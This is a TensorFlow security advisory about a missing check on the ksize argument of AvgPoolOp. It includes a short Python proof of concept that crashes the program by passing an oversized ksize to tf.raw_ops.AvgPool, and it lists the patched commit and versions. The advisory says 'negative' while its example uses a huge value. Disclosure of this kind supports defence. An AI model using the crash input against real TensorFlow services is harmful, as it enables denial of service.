TensorFlow vulnerable to `CHECK` failure in `AvgPoolOp`

Impact

The [AvgPoolOp](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/kernels/avgpooling_op.cc#L56-L98) function takes an argument ksize that must be positive but is not checked. A negative ksize can trigger a CHECK failure and crash the program.

```python

import tensorflow as tf

import numpy as np

value = np.ones([1, 1, 1, 1])

ksize = [1, 1e20, 1, 1]

strides = [1, 1, 1, 1]

padding = 'SAME'

data_format = 'NHWC'

tf.raw_ops.AvgPool(value=value, ksize=ksize, strides=strides, padding=padding, data_format=data_format)

`

Patches

We have patched the issue in GitHub commit [3a6ac52664c6c095aa2b114e742b0aa17fdce78f](https://github.com/tensorflow/tensorflow/commit/3a6ac52664c6c095aa2b114e742b0aa17fdce78f).

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Jingyi Shi.